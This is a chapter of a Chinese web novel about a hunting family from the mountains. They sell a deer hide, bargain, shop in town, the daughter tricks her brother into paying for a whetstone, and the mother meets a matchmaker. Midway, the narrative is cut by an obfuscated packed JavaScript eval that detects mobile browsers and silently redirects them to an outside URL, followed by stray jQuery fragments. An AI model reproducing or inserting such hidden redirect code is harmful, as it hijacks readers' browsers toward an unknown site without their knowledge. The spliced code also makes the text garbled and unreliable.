5. 买卖物资

作品:《猎户女的赶山日常

    封月托起封母身后的背篓,不疾不徐的问:“娘,我帮您卸下来?”


    封母点头,两人将背篓里包好的一张鹿皮和两只熏鹿腿取了出来。


    这头鹿还是上个月靠封父的陷阱猎下的,因为连日下雨,封母怕沾上潮气,用松柏枝熏了三日之后便挂在了火塘上头,日日里被柴火烟气燎着,烤得直淌油。


    胡大拿帕子擦净了手,才将鹿皮挂在窗前的架子上躬身细看。


    封月一面摸着袖中的短刀,一面观察着他,不说话时,胡大藏在髭须之下的五官显得格外圆乎,倒有些慈眉善目。


    然而一开口,整个人便如凶煞一般,他厉声道:“这毛量,是今夏的成鹿?”


    “是,两年的成鹿。”封母答道。


    “皮子完整,糅制得也不错,但色泽和毛量上和冬日的差太多……”


    胡大锁眉,转而看向地上的这两条鹿腿,只稍微扫了一眼就说:“加上这两条熏鹿腿,给你三两又七百文。咱们这儿的规矩来的时候伙计都给你们讲明白了,要是没别的话,我这就去后头称银子去。”


    封母显然对这个价格早有预期,沉沉的应了一声“欸”。


    胡大这才把手上的帕子往墙角一丢,转到竹屏后头去,边剪银子边说:“来我这儿的,价钱好赖亏不了你。再有这样的货,只管送来,我胡大也不是个爱刁难人的孬货。”


    “是,您说的是。”封母扯起笑脸,应和了一句。


    拿到银子,封月打起帘子随封母出来,站在外头等父兄两个。


    封母一屁股坐在台阶上,惋惜道:“两条鹿腿没挑毛病,定然给的是行价,就是可惜了这张好皮子。也是碰上这鬼天气,叫人半个来月都出不了门,不往山里钻哪来进项?买米面油盐,处处都要用钱,不然我就留着给家里人多做两双靴子了,唉……”


    “昨日不是还卖了一只山参吗?能抵得上爹和大哥抓多少猎物了。要不是这雨,怎么会因祸得福?”封月说起话来声音轻快,还从衣兜里摸出一包香酥小鱼干递了过去。


    “你这馋嘴丫头!什么时候买的?我竟没看见。”封母瞪着眼,也是被她逗得又想气又想笑。


    “尝尝。”


    封月没解释,只捻了一条小鱼干喂到封母嘴边,自己却抓了一大把塞进嘴里,眯着眼睛大嚼特嚼。


    “这鱼干炸得焦香,盐津津的。”封母总算嚼出点儿滋味,顺手又抓了一把。


    于是乎,母女俩就躲在山货栈外头的树荫下,对着满街来来往往的行人骡马,咔哧咔哧吃着零嘴,有一搭没一搭的闲聊着。


    一包香酥小鱼干吃完,卖干货的父子俩也出来了。


    钱袋自然是交给了封母,她往怀里一塞,就匆匆忙忙的领着家人离开,到了无人处,才打开钱袋清点银钱。


    这趟下山,拢共赚了十六两又两百七十五文。


    封母脸上总算添了喜色,还特意给他们一人发了一百文,拿去买些零碎玩意儿。


    到了商铺林立的正街,一家人率先赶去盐铁铺,封母和封父正在称腌肉用的粗盐,封月则和大哥在旁边的铁器摊子上挑了起来。


    封阳一直念叨着要添几支箭,然而摊子上还是以农具居多,多是镰刀、锄头、铁锹、镐头之类的,再就是菜刀,柴刀、砍骨刀这些常用的刀具。


    封阳领着封月直接找到摊主,笑着说:“老板,山里头虎狼危险,咱们想买些趁手的兵器……”


    摊主是个光着膀子的中年人,细长的眼睛左右一瞟,招手让他们俩到后头来。


    到了作坊里,武器的种类明显丰富了许多。封阳直接去挑了新锻的箭镞,封月则在众多兵器中一一扫过……


    匕首,短刀,这些她惯用的武器家里便备了不少;飞镖,发力方式还需要长期练习,不适合短期掌握;长矛,这种武器在末世几乎绝迹,更常用的是各种激光武器;铁剑,倒是与白衣人手上那柄大致相像……


    封月拿起铁剑稍微掂了一下,竟比预想的要轻上许多,剑身偏薄,两侧的剑刃带着斑斑锈迹,似乎放了许多年了。


    封月模仿着记忆中的招式,尝试着做了个上挑疾刺的动作,一抬手,剑身那种凝涩的回劲便压在腕上,并未在她预定的轨迹上刺出去。


    在试了好几次之后,她总算掌握了剑与力的平衡,出手越来越精准。


    工欲善其事,必先利其器。


    越是顶尖的高手,越是对武器有更高的要求,想从这把破铁剑身上揣摩出对方的路数,似乎还不够格。


    “小妹,你这剑舞得还挺像那么一回事嘛!怎么,你要买这个?”封阳贼兮兮的挤过来,小声说:“你要是真喜欢这个,哥手里还存了点儿……”


    封月抿唇一笑,眸中带出一丝狡黠,“这剑做工不怎么样,就不花这个冤枉钱了。哥你要是你有心,就给我买块磨刀石吧?”


    封阳立刻捂紧了钱袋,嘟嘟囔囔的,“买块磨刀石还要我付银子?娘不是才给了你一百文么,成天算计我的私房做什么……”


    “欸,先前分明是你……”封月眯着眼,心说这人颠倒黑白的本事又长进了,不坑他这一笔还不行了。


    这边摊主夹着眉头远远站着,手里端着一个海碗,粗声粗气的问:“你们买不买啊?”


    “买!我们就要一把箭镞和一块磨刀石,银子他来付。”说完,封月捞起一块最大的磨刀石转身就跑。


    跑了一个,还能跑了第二个不成?


    在摊主的直剌剌的目光下,封阳张了张嘴,终究还是把嘴边的话咽了下去,认命的掏了银子。


    封阳一从铁匠铺子出来就想找封月的麻烦,可她和封母寸步不离,丝毫不给他下手的机会,偶尔还挑衅的朝他一笑,把他气得恨不能捶胸顿足,拧着她的耳朵让她还钱。


    封母买完盐又在这头的摊子上挑了一口铁锅,瞥了一眼几人的背篓,最终还是招呼了封阳过去,“老大,来把这口锅背上。”


    封月一下没忍住,笑出了声。


    “什么事儿这么高兴?”封母的眼睛在二人身上扫过,看到儿子的脸色黑得和锅底似的,心下也有了谱,“你们兄妹俩又在闹什么呢?”


    封父揽在儿子的肩头上,劝道:“好了,好了,和你妹妹置什么气……”


    封阳冷哼一声,背起背篓大步往前去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991744|193741||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    一家人依次去了米粮铺、糖油铺、杂货铺,还拐到酒坊打了几斤烧酒,最后进了一家衣料店,封母挑来选去,买了一匹姜黄色的粗布。


    “是封家的吧?人一早就来了。”女掌柜收了银子,却笑吟吟地将她们母女二人往里边的隔间引。


    封月回头看了坐在台阶上的父兄一眼,便被她娘拉了进去。


    隔间里头挂着些制好的成衣,当中的绣墩上坐着一个老妇人,一身的绛色衣裳,石青抹额,瘦长脸,嘴上抹了一道红艳艳的口脂。


    老妇人一见到她们娘俩,便咧开嘴堆起了笑。


    “想必这就是您的闺女吧?瞧瞧,多水灵的一个姑娘,年纪多大了?会些什么手艺?可与人说过亲?”她一张嘴,行话便如竹筒倒豆子似的冒了出来。


    “错了,错了,张婶子,不是给我闺女相看,是给我儿子看。”封母闹了个大红脸,连忙解释道。


    封月顿时松了一口气,一想到大哥的表情,此时也有了看热闹的心情。


    “那您儿子人呢?”张媒婆问。


    封母打起帘子朝外头一指,“就在外头坐着呢,都二十了,我想着该给他说个媳妇儿了。”


    张媒婆快步走到门边,狠狠地打量一番,才慢悠悠的坐回来,“模样倒也不差,瞧着是个忠厚老实的,只瘦了些,黑了些。梅姑只和我说了你们是住山里头的,可山里好些村子,也分远近贫富,不知您家住哪儿?做什么营生?”


    “咱们是毛岭村的,和十几户人家住在山坳子里,家中以打猎为生,人口也简单,就咱们一家四口。你这儿若有合适的姑娘就只管说,只要双方都看得上,婚事就一概按咱们山里人的规矩办,咱们家定不会亏待她。”封母说得满面红光,仿佛明日就要给大哥娶亲一般。


    “行,此事我知晓了,这些天我在镇上给你踅摸着。”张媒婆收了封母递过去的茶钱,喜滋滋的塞进了袖袋里。


    “咱们家每月十五下山,在镇上耽搁一天就回去,下个月还是这个时辰,等你的好消息。”封母说着便要起身。


    “行,下月十六,婆子我一定给你把这门亲事说成!”张媒婆送了送她们娘俩,见封月安安静静跟在她娘身后,心思一动,“您闺女这般年纪,也该相看了吧?”


    “她?不着急,等她哥娶了妻再说吧,让她留在家里多过几年好日子。”封母笑着打起帘子,拉着封月的手腕朝外走。


    女掌柜把先前买下的布匹送过来,与封母耳语了几句,亲自将他们送了出去。


    东西置办妥当,一家人便准备回程了。同样的一条路,进山却要比下山多走半个时辰。


    刚进坳子,山道旁的树林就把西斜的日头遮了大半。


    封月远远瞧见守在自家院子门前的人,头又开始疼了,便不动声色的落到了队伍的最后头。


    封母也不嫌累,一口气走到歪脖老松下头,乐呵呵的招呼开了,“石头,又来找我们月丫头玩啊?”


    小名石头,大名木岩的羊倌本人,红着面皮搔了搔头,目光闪烁道:“我今日过来不是找阿月的,婶子你们这两天不在,山里头出了件大事了……”